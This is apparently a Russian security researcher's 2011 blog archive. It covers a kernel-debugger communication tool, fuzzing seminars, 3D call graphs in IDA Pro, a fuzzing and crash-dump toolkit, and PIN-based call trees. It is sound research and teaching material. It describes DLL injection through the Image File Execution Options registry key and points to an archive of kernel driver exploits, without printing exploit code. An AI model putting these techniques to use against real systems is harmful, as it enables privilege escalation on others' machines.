My aimful life

DbgCb: интеграция приложения/драйвера с удалённым отладчиком ядра

2011-11-14T04:30:00.000-08:00

Думаю, для многих программистов и исследователей набор вида "виртуальная машина с Windows + WinDbg в качестве удалённого отладчика режима ядра" давно стал привычным и необходимым инструментом. Для того, что бы выжать из такой связки максимум возможностей и упростить рутинную работу, многие применяют вещи вроде скриптовых движков для отладчика (pykd, IDAPython) или отдельных врапперов для отладочных интерфейсов Windows (PyDbg).

Однако, очень часто возникает задача не только частичной автоматизации работы отладчика, но и необходимость взаимодействия с ним из кода отлаживаемого на удалённой системе приложения или драйвера. В стандартном случае, это самое приложение или драйвер о присутствии удалённого отладчика вообще ничего не знает, но при решении некоторых задач для него было бы полезно получать от отладчика разного рода информацию а так же исполнять в его контексте команды без непосредственного участия человека.

Примеры из жизни, где подобные механизмы интеграции приложения/драйвера с отладчиком были бы кстати:

Исследование программ и компонентов операционной системы в процессе их работы, в ходе которого может понадобится устанавливать перехваты кода, и делать достаточно сложную обработку полученных данных, для реализации которой попросту не хватит возможностей (или производительности) скрипта на pykd, использующего точки останова.
Иногда, для того что бы быстро проверить какую-то идею/технологию, бывает необходимо прямо в "живой" проект добавить код, работающий с какими-либо не экспортируемыми функциями операционной системы (или недокументированными структурами), но вместо жесткого хардкодинга их адресов/смещений было бы удобно "спросить" об этих адресах/смещениях удалённый отладчик, который может извлечь всю необходимую информацию из доступных ему актуальных отладочных символов.
В процессе отладки своего кода бывает необходимо с некоторой периодичностью выполнять определённые манипуляции в отладчике (вывести стек вызовов в определённой точке, снять/установить точку останова в момент наступления какого-то события, итд.), без необходимости отвлекаться на, собственно, сам отладчик.

Для решения таких вот небольших повседневных задач я разработал инструмент, под названием DbgCb (Kernel Debugger Communication Engine), который и хочу представить широкому вниманию в данной заметке.

Функционально DbgCb состоит из двух компонентов:

Клиентский код, встраиваемый в приложение или драйвер, из которого доступен ряд функций, совершающих полезные действия с удалённым ядерным отладчиком.
Расширение для Windows Debugging Tools - выполнено в виде плагина для отладчика WinDbg/KD, предназначено для обработки запросов от клиентского кода.

Взаимодействие этих компонентов реализовано тривиально: плагин для WinDbg использует интерфейс IDebugEventCallbacks, позволяющий ему отслеживать различные события (срабатывание точек останова, изменения состояния отлаживаемой системы, итд.), а клиентский код, при вызове полезной функции, просто генерирует #DB (debug exception), поместив перед этим в регистры процессора специальные "магические" константы, значения которых и сообщают плагину о том, выполнение какой операции от него требуется.

Клиентский код выполнен в виде небольшого фрагмента на языке C, который может быть встроен в произвольное приложение или драйвер, а так же оформлен как библиотека. В текущей версии, в нём реализованы следующие три полезных функции:

 1 /**
 2  * Execute debuuger command (IDebugControl::Execute()).
 3  */
 4 BOOLEAN dbg_exec(PCHAR lpFormat, ...);
 5 
 6 /**
 7  * Evaluate debuuger expression (IDebugControl::Evaluate()).
 8  */
 9 PVOID dbg_eval(PCHAR lpFormat, ...);
10 
11 /**
12  * Get offset of the some structure field
13  */
14 LONG dbg_field_offset(PCHAR lpFormat, ...);

Пример использования API клиентского кода DbgCb в драйвере режима ядра:

 1 NTSTATUS NTAPI DriverEntry(
 2     PDRIVER_OBJECT DriverObject,
 3     PUNICODE_STRING RegistryPath)
 4 {    
 5     DriverObject->DriverUnload = DriverUnload;
 6     
 7     DbgPrint(__FUNCTION__"()\n");    
 8 
 9     // Test debugger command execution.
10     if (dbg_exec(".printf /D \"<b>Hello from " __FUNCTION__ "()</b>\\n\""))
11     {
12         // another DML example
13         dbg_exec(
14             ".printf /D \"<exec cmd=\\\"!drvobj "IFMT"\\\">"
15             "Show _DRIVER_OBJECT information.</exec>\\n\"", 
16             DriverObject
17         );
18 
19         DbgPrint("Breaking into the kernel debugger (check the DML link above)...\n");
20         DbgBreakPoint();
21 
22         // Test symbol querying.
23         PVOID Addr = dbg_eval("nt!KiDispatchException");
24         if (Addr)
25         {
26             DbgPrint("<?dml?><b>nt!KiDispatchException() is at "IFMT"</b>\n", Addr);
27         }        
28         else
29         {
30             DbgPrint(__FUNCTION__"() ERROR: dbg_eval() fails\n");
31         }
32 
33         // Test structure field offset querying.
34         LONG Offset = dbg_field_offset("nt!_EPROCESS::ImageFileName");
35         if (Offset >= 0)
36         {
37             DbgPrint("<?dml?><b>_EPROCESS::ImageFileName offset is 0x%x</b>\n", Offset);
38         }
39         else
40         {
41             DbgPrint(__FUNCTION__"() ERROR: dbg_field_offset() fails\n");
42         }
43     }    
44     else
45     {
46         DbgPrint(__FUNCTION__"() WARNING: dbgcb extension is not loaded\n");
47     }
48     
49     return STATUS_SUCCESS;
50 }

Исходный код DbgCb доступен в репозитории на GitHub, и включает в себя:

./dbgcb/ - Исходные тексты расширения для отладчика.
./dbgcb.dll, ./dbgcb_x64.dll - Исполняемые файлы расширения для отладчика WinDbg/KD.
./common/ - Исходные тексты клиентского кода.
./dbgcb_app/ - Исходные тексты примера использования клиентского кода в приложении.
./dbgcb_app.exe, ./dbgcb_app_x64.exe - Исполняемые файлы примера приложения.
./dbgcb_drv/ - Исходные тексты примера использования клиентского кода в драйвере.
./dbgcb_drv.sys, ./dbgcb_drv_x64.sys - Исполняемые файлы примера драйвера.

Перед запуском примера драйвера или приложения, в среде отлаживаемой операционной системы, необходимо выполнить загрузку модуля DbgCb в отладчик, используя команду ".load dbgcb.dll".

При запуске примера драйвера в Command Window отладчика появятся следующие сообщения, свидетельствующие о том, что Kernel Debugger Communication Engine работает:

Помимо пользы для исследовательских задач, данный инструмент существенно облегчает мне жизнь при анализе уязвимостей и отладке приложений, использующих глубокую интеграцию с системой не совсем "легальными" способами. Возможно, кому-то из вас он так же пригодится.

Идеи по реализации дополнительных возможностей в рамках API клиентского кода очень приветствуются, и принимаются к рассмотрению для реализации.

Анонс семинаров в хакспейсе Neuron

2011-10-10T12:38:00.000-07:00

Репост из блога Esage Lab

В октябре я буду проводить в хакспейсе цикл из трёх семинаров, которые будут посвящены технологиям поиска уязвимостей и исследования кода. В данные семинары войдет довольно много материала: часть его была представлена в прошлых публикациях и выступлениях, часть была изложена в виде лекций стажерам Esage Lab этим летом, часть будет дана мной широкой публике впервые. Фактически, все семинары являются экстраполяцией моего опыта и исследований в теме поиска уязвимостей, которая будет разбавлена личным видением того, как лучше организовывать те или иные вещи.

1. Фаззинг: автоматизированный поиск уязвимостей в программном обеспечении

Первый семинар цикла будет рассчитан в большей степени на тех людей, для которых тема фаззинга является новой или малоизученной. В рамках данного семинара слушателям будет дано системное изложение основных концепций фаззинга как технологического процесса и его разновидностей как для узкоспециализированных задач, так и для задач широкого класса. Я подробно рассмотрю технические аспекты реализации различных этапов фаззинга, расскажу про существующие инструменты, которые призваны облегчить работу исследователя, и приведу практические примеры автоматизированного нахождения уязвимостей в реальных программных продуктах.

Дата проведения: 12 Октября (Среда), 19:00

2. Уязвимости в ядре, драйверах и других ring0 компонентах операционных систем семейства Windows NT

Так как исследование безопасности Windows NT является одним из моих самых приоритетных направлений развития и работы - этот семинар должен получиться наиболее интересным с практической точки зрения. Для полноценного усваивания материала от слушателя потребуются наличие общих представлений об архитектуре современных операционных систем и природе уязвимостей в программном коде. В ходе семинара будут подробно рассмотрены типовые уязвимости в ядре и драйверах режима ядра Windows, векторы атак на компоненты режима ядра, особенности работы отдельных механизмов, некорректное обращение с которыми наиболее часто является причиной уязвимостей. Так же я подробно расскажу об архитектуре графической подсистемы Windows (win32k.sys, CSRSS) и уязвимостях в ней. В завершении семинара будут рассмотрены практические аспекты реализации эксплойтов для уязвимостей в компонентах режима ядра а так же различные трудности на этом пути и варианты их решения.

Дата проведения: 19 Октября (Среда), 19:00

3. Инструменты динамического анализа кода

Поскольку задачи динамического анализа кода очень часто связанны именно с автоматизированным поиском уязвимостей, и являются очень интересными сами по себе - было решено организовать отдельный семинар, посвящённый полностью этой теме. В ходе семинара будут рассмотрены, применительно к решению конкретных типов задач, принципы работы множества инструментов, использующих в своей основе самые разные подходы к динамическому анализу кода: от банальной трассировки, до динамической рекомпиляции и виртуализации. Многие разработки, о которых будет идти речь, являются передним фронтом не только области безопасности программного обеспечения, но и computer science как таковой.

Дата проведения: ???

Мероприятия носят открытый характер. Для посещения семинаров нужно предварительно «зарегистрироваться», написав на neuron@hackspace.ru о том кто вы и откуда, и что планируете прийти к нам в гости.

Я надеюсь, что в дальнейшем регулярное проведение интересных технических семинаров и докладов в хакспейсе Neuron станет традиционным, и к нему, кроме меня, подключатся и другие исследователи которым есть что рассказать, причём не только по темам, имеющим отношение к безопасности.

3D графика как инструмент реверс-инженера

2011-06-23T19:26:00.000-07:00

Интерфейс взаимодействия между человеком и компьютером за прошедшие десятки лет практически не претерпел фундаментальных изменений, и в настоящее время по прежнему представляет собой либо командную строку, либо плоские "окна". Однако, существуют определённые научные дисциплины, обработка данных для которых с помощью компьютера не мыслима без использования 3D графики. К таким дисциплинам относятся различного рода инженерия, клеточная и молекулярная биология, физика высоких частиц и многие другие. Одним словом, все те области, которые требуют работы с большими объёмами данных со сложной структурой, организацией и множественными связями.

При работе в области программирования а в особенности - реверс-инженеринга, технический специалист, вроде бы как, тоже сталкивается с подобными данными, однако, на сегодняшний день 3D графика (или что-либо с ней связанное), как рабочий инструмент, не имеет широкого распространения в области информационной безопасности. В данной записи речь будет идти про интеграцию библиотеки UbiGraph в программный пакет IDA Pro с целью получения средства для визуализации графа связей между процедурами исследуемого кода.

UbiGraph представляет собой универсальную библиотеку, которая предоставляет API для построения динамических трёхмерных графов. Благодаря использованию клиент-серверной архитектуры со взаимодействием через XML-RPC for C он имеет легковесные биндинги для большинства популярных языков программирования. Для того что бы увидеть возможности этой интереснейшей разработки достаточно просмотреть ролики на YouTube по соответствующим ключевым словам.

Ниже продемонстрирован пример кода на Python, использующий UbiGraph API.

 1 import ubigraph
 2 
 3 U = ubigraph.Ubigraph()
 4 U.clear()
 5 
 6 x = U.newVertex(shape="sphere", color="#ffff00")
 7 
 8 smallRed = U.newVertexStyle(shape="sphere", \
 9   color="#ff0000", size="0.2")
10 
11 previous_r = None
12 for i in range(0, 10):
13 
14   r = U.newVertex(style=smallRed, label=str(i))
15   U.newEdge(x, r, arrow=True)
16 
17   if previous_r != None:
18 
19     U.newEdge(r, previous_r, spline=True, stroke="dashed")
20 
21   previous_r = r
22

Однако, UbiGraph обладает рядом недостатков:

Закрытый исходный код сервера.
Исполняемый файл сервера доступен только для платформ Linux и OS X
Проект, судя по всему, заброшен и не развивается с 2008-го года. Связаться с разработчиком что бы разузнать о деталях текущего состояния проекта (или получить на каких-либо условиях его исходный код) мне так и не удалось.

Но даже не смотря на все эти недостатки - не представляется реальным найти альтернативные разработки, которые бы по гибкости и возможностям приближались бы к UbiGraph. В связи с этим было решено провести ряд экспериментов именно с ним, поставив перед собой цель выяснить на практике перспективы применения 3D визуализаций в реверс-инженеринге.

Рассмотрим "обычный" граф процедур в IDA, который был получен при помощи плагина MyNav:

... и вид этого же (относительно простого и наглядного) графа в 3D, который строится модифицированной для работы с сервером UbiGraph версией MyNav 1.1:

На первый взгляд - существенных преимуществ 3D в данном примере не имеет, однако, благодаря тому, что такой граф можно вращать во всех плоскостях и масштабировать без существенных "тормозов" даже при огромном количестве узлов - его становится банально удобнее использовать для навигации по коду исследуемого файла.

Разумеется, удобство является сугубо индивидуальным понятием, и каждый человек принимает относительно него какие-либо выводы опираясь исключительно на собственные ощущения. Я позиционирую результат проделанной мной работы как возможность взглянуть на привычный всем анализ дизасембилрованного кода под новым, интересным углом, а завершенным продуктом, который "совершит революцию", инструмент, о котором идет речь, ни коим образом не является уж точно.

Настройка рабочей среды

Как было упомянуто выше, UbiGraph запускается только на Linux и OS X. Исследователи, которые работают с IDA в среде данных операционных систем, не будут обременены сложными настройками в принципе, поэтому, далее подробно будет рассказано о настройке рабочей среды для UbiGraph на базе Windows.

Для этого потребуется следующий софт:

Виртуальная машина с установленным Linux (дистрибутив не принципиален).
X-Сервер для Windows (я использую Xming).
IDA Pro версии от 5.7 и старше (можно использовать 6.1 Demo c официального сайта).
Python плагин для IDA (для версии Python 2.6.x) и, разумеется, установленный в системе интерпретатор Python 2.6.x.

Суть всех манипуляций по настройке заключается в том, что UbiGraph будет запущен в виртуальной машине с Linux, но при этом его окно с графом будет выводится на Windows-хост благодаря работающему на нем X-серверу:

На Linux загружаем и распаковываем последнюю версию UbiGraph:

# wget http://ubietylab.net/files/alpha-0.2.4/UbiGraph-alpha-0.2.4-Linux32-Debian-4.tgz
# tar -xpf UbiGraph-alpha-0.2.4-Linux32-Debian-4.tgz
# cd UbiGraph-alpha-0.2.4-Linux32-Debian-4/bin/
# ls -la
total 1658
drwxr-xr-x 2 user user     120 May 29  2008 .
drwxr-xr-x 6 user user     328 May 29  2008 ..
-rw-r--r-- 1 user user     927 May 29  2008 REQUIRED_LIBS.txt
-rwxr-xr-x 1 user user 1689496 May 29  2008 ubigraph_server

После этого в Linux систему потребуется установить все библиотеки, с которыми динамически слинкован исполняемый файл ubigraph_server:

# ldd ubigraph_server
 linux-gate.so.1 =>  (0xffffe000)
 libpthread.so.0 => /lib/libpthread.so.0 (0xb789d000)
 libglut.so.3 => /usr/lib/libglut.so.3 (0xb7869000)
 libGL.so.1 => //usr/lib/opengl/xorg-x11/lib/libGL.so.1 (0xb7811000)
 libidn.so.11 => /usr/lib/libidn.so.11 (0xb77de000)
 libstdc++.so.6 => /usr/lib/gcc/i686-pc-linux-gnu/4.4.3/libstdc++.so.6 (0xb76ed000)
 libm.so.6 => /lib/libm.so.6 (0xb76c7000)
 libgcc_s.so.1 => /usr/lib/gcc/i686-pc-linux-gnu/4.4.3/libgcc_s.so.1 (0xb76a9000)
 libc.so.6 => /lib/libc.so.6 (0xb7565000)
 libGLU.so.1 => /usr/lib/libGLU.so.1 (0xb74f6000)
 libdl.so.2 => /lib/libdl.so.2 (0xb74f2000)
 /lib/ld-linux.so.2 (0xb78c8000)
 libX11.so.6 => /usr/lib/libX11.so.6 (0xb73d2000)
 libXext.so.6 => /usr/lib/libXext.so.6 (0xb73c1000)
 libXxf86vm.so.1 => /usr/lib/libXxf86vm.so.1 (0xb73bb000)
 libXdamage.so.1 => /usr/lib/libXdamage.so.1 (0xb73b7000)
 libXfixes.so.3 => /usr/lib/libXfixes.so.3 (0xb73b1000)
 libX11-xcb.so.1 => /usr/lib/libX11-xcb.so.1 (0xb73ae000)
 libxcb-glx.so.0 => /usr/lib/libxcb-glx.so.0 (0xb739a000)
 libxcb.so.1 => /usr/lib/libxcb.so.1 (0xb737f000)
 libdrm.so.2 => /usr/lib/libdrm.so.2 (0xb7374000)
 libXau.so.6 => /usr/lib/libXau.so.6 (0xb7370000)
 libXdmcp.so.6 => /usr/lib/libXdmcp.so.6 (0xb736a000)
 librt.so.1 => /lib/librt.so.1 (0xb7360000)

Обычно, данный шаг не влечет за собой каких-либо проблем, и в моем Gentoo ubigraph_server без проблем запустился после установки всего, что фигурирует в выдаче ldd выше. Далее, на Windows следует запустить X-Сервер (Xming), для этого удобно создать ярлык со следующей командной строкой:

"С:\Program Files\Xming\Xming.exe" -clipboard -ac -multiwindow :0

После этого в Linux запускаем ubigraph_server:

# DISPLAY=192.168.254.1:0 ./ubigraph_server
freeglut (./ubigraph_server): Unable to create direct context rendering for window 'Ubigraph'
This may hurt performance.
freeglut (./ubigraph_server): Unable to create direct context rendering for window 'freeglut menu'
This may hurt performance.
1 processors
Using single-level layout.
Running Ubigraph/XML-RPC server.

... где 192.168.254.1 -- IP адрес Windows хоста с работающим X-Сервером. Если настройки верны и все шаги были выполнены правильно -- в Windows системе появится пустое чёрное окно UbiGraph. После этого переходим к настройкам IDA Pro.

Настройка IDA Pro

В качестве основы для плагина, который позволял бы выводить граф процедур с помощью UbiGraph, мной был использован написанный на Python плагин MyNav:

MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between "interesting" functions and data entry points.

Разработанный патч для данного плагина добавляет в его классы построения графов код взаимодействия с сервером UbiGraph. Архив, который включает в себя помимо патча уже модифицированную версию MyNav 1.1 доступен для загрузки в репозитории проекта IDA-UbiGraph на GitHub.

Установка плагина происходит в несколько шагов:

Установите IDAPython согласно инструкциям в его документации.
Из архива IDA-UbiGraph скопируйте в каталог установленной IDA Pro директорию mynav-1.1-ubigraph.
Из архива IDA-UbiGraph скопируйте в каталог установленной IDA Pro файл ubicallback.pyd -- это Python модуль, который используется для обработки on-click событий по узлам графа в окне UbiGraph.

После этого необходимо отредактировать настройки плагина в файле mynav-1.1-ubigraph/ubiconfig.py, указав в нем адреса Linux хоста (на котором запускается ubigraph_server), и Windows хоста (на котором запускается IDA Pro):

 1 
 2 ubi_graph = None
 3 ubi_is_initialized = False
 4 
 5  # ubigraph server XMLRPC URL
 6 ubi_server_url = "http://192.168.254.100:20738/RPC2"
 7 
 8 # ubigraph client IP address 
 9 # i.e., host that runs IDA
10 ubi_local_addr = "192.168.254.1"
11 
12 #
13 # If you're using IDA and UbiGraph server on the
14 # same machine - just write 127.0.0.1 in both of
15 # ubi_server_url and ubi_local_addr
16 #
17

После выполнения всех перечисленных манипуляций можно запускать IDA Pro и начинать работу.

Загрузка плагина MyNav производится с помощью пункта главного меню "File" -> "Script file...", или по горячей клавише Alt+F7. В появившемся диалоге выбора файла требуется открыть mynav-1.1-ubigraph/mynav.py. Если IDAPython корректно установлен, то после этого в главном меню "Edit" -> "Plugins" появится около двух десятков новых пунктов, соответствующих MyNav. Среди них для нашей задачи наиболее интересен "MyNav: Show browser", который так же доступен по горячей клавише Ctrl+Shift+B.

Открыв вкладку с листингом дизассемблированного кода, установив курсор на начало какой-либо процедуры и нажав Ctrl+Shift+B -- мы вызовем MyNav, который задаст вопрос об глубине рекурсивного сканирования дерева функций при построении их графа:

Обычно, оптимальным является число от 1 до 3, так как при указании большей глубины граф получится слишком объёмным. После нажатия на <OK> MyNav построит граф на отдельной вкладке в окне IDA. В это же время, в окне UbiGraph будет построена 3D версия того же графа. При правильных настройках в IDA Output Window так же появится уведомление об успешном подключении к серверу UbiGraph:

Команды, вызываемые в контекстном меню графа MyNav (например: скрыть/показать строки, или скрыть/показать вызовы API), соответствующим образом сказываются и на графе в UbiGraph. Поскольку в самой IDA может быть открыто множество вкладок с графами, в окне UbiGraph будет отображаться самый последний из них.

Работа с UbiGraph в IDA Pro на видео:

3D graphs in IDA Pro with MyNav and UbiGraph from Dmytro on Vimeo.

К сожалению, проект IDA-UbiGraph носит исключительно демонстрационный характер, так как его полноценное развитие не возможно без доработок и глубокой модификации самого UbiGraph. Однако, я буду рад, если после прочтения данной заметки другие программисты и хакеры обратят своё внимание на такую интересную тему, как 3D визуализации в области анализа кода и реверс-инженеринга, и так же начнут свои исследования в данном направлении.

Полезные ссылки:

Страница проекта IDA-UbiGraph в GitHub - https://github.com/Cr4sh/IDA-UbiGraph
Краткое описание возможностей MyNav - http://code.google.com/p/mynav/wiki/MenuItems
Документация на UbiGraph API - http://ubietylab.net/ubigraph/content/Docs/index.html

Выступление на Positive Hack Days 2011

2011-06-13T08:33:00.000-07:00

Репост из блога Esage Lab

Этой весной в Москве прошло весьма необычное для отечественного itsec-сообщества мероприятие под названием Positive Hack Days. Делать его детальный обзор я смысла не вижу, поскольку всё уже было неоднократно высказано другими людьми, положительные отзывы которых я вполне разделаю.

На Positive Hack Days я выступил с мастер-классом "Автоматический поиск уязвимостей в программах без исходных текстов", материалы к которому я выкладываю в данной записи.

Слайды к выступлению:

Автоматический поиск уязвимостей в программах без исходных текстов

View more presentations from d_olex

Использовавшиеся на мастер-классе утилиты (многие из них я не успел показать) доступны для загрузки в виде архива. Ниже идёт описание наиболее интересного содержимого этого архива.

****

./AnalyzeDumps - Программа для анализа аварийных дампов памяти с использованием отладчика KD.EXE и расширения !exploitable.
Использование:

> python ./AnalyzeDumps/analyze_dumps.py <dumps_dir> [--noisy]

... где <dumps_dir> - директория, в которой содержатся файлы аварийных дампов. При указании ключа --noisy в консоль будут выведены все сообщения отладчика.

По завершению работы программы в текущей директории будет создан файл Analyze.log c общей информацией по всем проанализированным дампам, а в <dumps_dir> - отдельный лог для каждого аварийного дампа с полным выводом отладчика.
Примеры сгенерированных файлов для различных тестовых приложений: ./Analyze_Norman.log, ./Analyze_RPCExample.log и ./Analyze_Visio.log

Программа analyze_dumps.py требует для своей работы следующие сторонние инструменты (так же включены в архив):

./MSECExtensions_1_0_6 - Расширения для отладчика MSEC Debugger Extensions, в состав которых входит !exploitable.
./Microsoft KD - Консольный отладчик от Microsoft, который, обычно, входит в состав пакета Microsoft Debugging Tools for Windows.

****

./Code Coverage Tools и ./pin-2.8-37300-msvc9-ia32_intel64-windows - Основанный на PIN Toolkit набор средств для построения и анализа карты покрытия кода исследуемого приложения.

Подробная информация по использованию:

Так же в директории ./Kcachegrind находится Win32-версия одноимённого приложения, которое позволяет визуализировать карты деревьев вызовов, которые были получены с помощью Code Coverage Tools.

Страница программы Kcachegrind: http://kcachegrind.sourceforge.net/
Страница Win32-версии: http://sourceforge.net/projects/precompiledbin/

****

./FileFuzz - Инструменты для примитивного мутационного фаззинга на примере файлов архивов форматов 7z, ACE, ARJ, CAB, GZ, LZH, RAR, TGZ, и ZIP.

Генерация некорректных файлов производится с помощью программы ./FileFuzz/MutateGen.exe (исходные тексты доступны в ./FileFuzz/MutateGen/) на основе "хороших" файлов архивов указанных выше форматов, которые находятся в директории ./FileFuzz/TEST/.

Пример запуска MutateGen.exe для генерации файлов:

> MutateGen.exe C:\TEST.zip C:\output_dir -BLOCK_SIZE 1 -BLOCK_RANGE_START 0xa0 -BLOCK_RANGE_END 0xff -BLOCK_RANGE_N 1

Назначения параметров командной строки программы:

-FILE_RANGE_START - Файловое смещение для прочитанных из указанного файла начальных данных, начиная с которого MutateGen.exe осуществляет их модификацию (по умолчанию FILE_RANGE_START равен нулю).
-FILE_RANGE_END - Файловое смещение, определяющее конец зоны начальных данных, которую модифицирует MutateGen.exe (по умолчанию FILE_RANGE_END равен размеру начального файла).
-BLOCK_SIZE - Размер блока данных, которые MutateGen.exe модифицирует за один проход (допустимые значения: 1, 2 и 4).
-BLOCK_RANGE_START - Стартовое значение счётчика, которое используется как значение для генерируемого блока данных.
-BLOCK_RANGE_END - Конечное значение счётчика, которое используется как значение для генерируемого блока данных.
-BLOCK_RANGE_N - Величина инкремента счётчика за одну итерацию.

Таким образом, количество циклов генерации данных (количество модифицируемых байт) для одного начального файла рассчитывается по формуле:

N = (FILE_RANGE_END &~ (BLOCK_SIZE - 1)) - FILE_RANGE_START

Количество блоков данных:

BLOCKS = N / BLOCK_SIZE

Количество итераций для одного цикла генерации данных:

I_MAX = ((BLOCK_RANGE_END &~ (BLOCK_RANGE_N - 1)) - BLOCK_RANGE_START) / BLOCK_RANGE_N

Количество cгенерированных файлов с некорректными данными:

FILES = BLOCKS * I_MAX

Для генерации данных используются сценарии generate_bs_1.bat, generate_bs_2.bat, generate_bs_4.bat и generate_bs_4_hi.bat, которые запускают MutateGen.exe с различными настройками.

Фаззинг архивов на примере актуальной версии антивируса Norman Security Suite продемонстрирован на видео.

Norman Security Suite Fuzzing from eSage Lab on Vimeo.

Аварийные дампы для Norman Security Suite а так же файл вызывающий падение антивирусного сканера находятся в директории ./XcptMon/_Norman_dumps_7z, а лог анализа этих аварийных дампов с помощью analyze_dumps.py - в ./Analyze_Norman.log

****

./InMemoryFuzzer и ./RPCExample - Инструменты и тестовые приложения для демонстрации in-memory фаззинга RPC сервера.
В качестве фаззера используется программа на Python под названием InMemoryFuzzer by sinn3r, которая подробно описана в статье "In Memory Fuzzing".

Для удобства использования в архив включена её версия в виде исполняемого файла, созданного с помощью py2exe (см. директорию ./InMemoryFuzzer/dist).

В качестве уязвимого сервера используется написанная на C++ программа, исходные тексты и исполняемые файлы которой находятся в ./RPCExample/ (там же есть и клиент для этого сервера). Проведение фаззинга осуществляется в несколько шагов:

Запускается сервер с помощью сценария ./RPCExample/run_server.bat
Запускается фаззер с помощью сценария ./RPCExample/fuzz_server.bat
Запускается клиент для RPC сервера (./RPCExample/DebugExe/ContextExampleClient.exe)
В момент обработки запроса от клиента в контексте серверного процесса фаззер модифицирует переданную функции _HelloProc() ASCII-строку, в результате чего будет спровоцировано переполнение буфера в этой функции.
После аварийного завершения работы серверного процесса фаззер создаст отчёт о его падении в директории ./RPCExample/crashbin

****

./MSOffice - Инструменты для более продвинутого мутационного фаззинга на примере приложения Visio из состава Microsoft Office.

Генерация данных для фаззинга осуществляется приложением ./MSOffice/fuzzgen/, которое использует принцип мутационных преобразований имеющихся .VSD-документов с частичным парсингом формата файла-контейнера Microsoft Office. Для парсинга структуры документов используются функция StgOpenStorageEx() и интерфейс IStorage.

В ./MSOffice/_faults/ находятся примеры сгенерированных фаззером .VSD-документов, обработка которых вызывает падение Visio. Лог анализа этих аварийных дампов с помощью analyze_dumps.py находится в ./Analyze_Visio.log

Для запуска процесса фаззинга используется приложение ./MSOffice/fuzzrun/, работа с ним продемонстрирована на видео.

Microsoft Office Visio Fuzzing from eSage Lab on Vimeo.

****

./XcptMon - Приложение для мониторинга исключений и создания аварийных дампов. Именно оно используется для генерации дампов в описанных выше тестах.

XcptMon работает по принципу внедрения DLL библиотеки (./XcptMon/XcptMonDll.dll) в контекст анализируемого процесса при его запуске. DLL, в свою очередь, перехватывает функцию KiUserExceptionDispatcher(). Для внедрения DLL используется параметр реестра "Debugger" в ключе HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<image_name>, где <image_name> - имя исполняемого файла анализируемого процесса.

Использование XcptMon:

> XcptMon.exe <image_name> [options]

... где в качестве опций возможно указать следующие ключи:

--dumpsdir <path> - Путь к директории для сохранения аварийных дампов.
--logpath <path> - Путь к файлу, в который будет записана информация об исключениях.
--remove - Отключить XcptMon для указанного имени процесса.
--noexit - Не завершать целевой процесс при возникновении первого #AV исключения.

Пример лога с информацией об исключениях:

[+] Target command line: "TestApp.exe"
[+] DLL injected into the target process 7404
[+] Exit on first #AV: "No"
ModuleInit(): From process 'E:\_tmp\PHD\XcptMon\TestApp.exe' (PID: 7404)
[!] EXCEPTION OCCURS:
STATUS_ACCESS_VIOLATION at 0x0119101c
  Access type: Write
      Address: 0x00000000
EAX=0x00000000 EBX=0x00000000 ECX=0x6f6e215c EDX=0x773270b4
ESI=0x6f6e20c1 EDI=0x01193380 EBP=0x0012fe54

[+] 22398742 bytes of minidump has been written to the "0xC0000005_0x0119101C_17.05_19.28.54.DMP"
[!] EXCEPTION OCCURS:
STATUS_ACCESS_VIOLATION at 0x011910af
  Access type: Write
      Address: 0x00000000
EAX=0x00000000 EBX=0x00000000 ECX=0x6f6e215c EDX=0x773270b4
ESI=0x6f6e20c1 EDI=0x00000000 EBP=0x0012fe54

[+] 22402854 bytes of minidump has been written to the "0xC0000005_0x011910AF_17.05_19.28.54.DMP"
[+] Process exit code: 0xc0000005

Так же библиотека XcptMonDll.dll экспортирует глобальные переменные m_szLastFilePath, m_szLastExceptionCode, m_szLastExceptionAddr, m_szMainModuleVersion и m_szFaultModuleVersion, в которые на момент создания аварийного дампа записывается информация о возникшем исключении и целевом приложении. Эту информацию, для включения в свой лог-файл, получает упоминавшийся выше analyze_dumps.py

****

./ioctl_fuzzer-1.2 - Исходные тексты и исполняемые файлы программы IOCTL Fuzzer, которая предназначена для автоматического выявления узявимостей в драйверах режима ядра, связанных с некорректной обработкой IOCTL-запросов.

Подробная информация по использованию
Страница проекта: http://code.google.com/p/ioctlfuzzer/

В директории ./ioctl_fuzzer-1.2/_exploits/ находятся примеры эксплойтов к найденным спомощью IOCTL Fuzzer уязвимостям.

scsiprot_smart - "Теоретически эксплуатируемая" Local Admin to Ring0 уязвимость в стандартном драйвере Windows atapi.sys при обработке IOCTL запроса IOCTL_SCSI_MINIPORT. Приведенный демонстрационный эксплойт, к сожалению, DoS only.

TM_TmComm_9000402b_exploit - Полнофункциональный Local Admin to Ring0 эксплойт к уязвимости в драйвере актуальной версии (3.0.0.1303 на момент написания текста) антивирусного продукта под названием Trend Micro Titanium Maximum Security.

От покрытия кода к дереву вызовов

2011-04-19T02:26:00.000-07:00

Репост из блога Esage Lab

В прошлом посте нами было рассказано о практических аспектах применения dynamic binary instrumentation engines (на примере PIN) для анализа покрытия кода при фаззинге. Но очевидно, что столь мощные технологии годятся для решения и более сложных задач: в этот раз речь будет идти про использование PIN для построения карты исполнения кода в виде дерева вызовов различных процедур.

Для UNIX-like операционных систем существует весьма продвинутый инструмент под названием Callgrind, представляющий собой модуль для известного профилировщика Vallgrind. Задачей Callgrind является запись информации о вызове всех процедур исследуемого приложения в процессе его исполнения, при этом, в качестве результата работы, он генерирует текстовый лог, в котором присутствует информация о том, какие процедуры, из каких мест кода и сколько раз были вызваны. Это и называется деревом вызовов. На самом деле, Callgrind способен записывать и много дополнительной информации, включая время исполнения отдельных ветвей алгоритма, однако, именно связи между процедурами исследуемого кода являются наиболее интересной информацией для реверс-инженера. Формат выходного файла Callgrind называется Calltree Profile Format, документация по нему доступна на официальном сайте.

К сожалению, версии Callgrind для Windows на данный момент не существует, поэтому нами было принято решение частично продублировать его функции в ранее разработанном пакете инструментов Code Coverage Analysis Tools.

Основную задачу по сбору информации, как несложно догадаться, выполняет разработанный нами инструментальный модуль для PIN, который, для активации режима записи всех вызовов функций, следует запускать с опцией "-c". Запуск целевого приложения удобно осуществлять с помощью сценария execute_pin_calls.bat, пример:

> execute_pin_calls.bat "C:\Program Files\Internet Explorer\iexplore.exe"

Примечание: перед этим следует не забыть поместить библиотеку Coverager.dll в корневую директорию PIN, и записать полный путь к ней в переменную среды PINPATH, путём редактирования execute_pin_calls.bat.

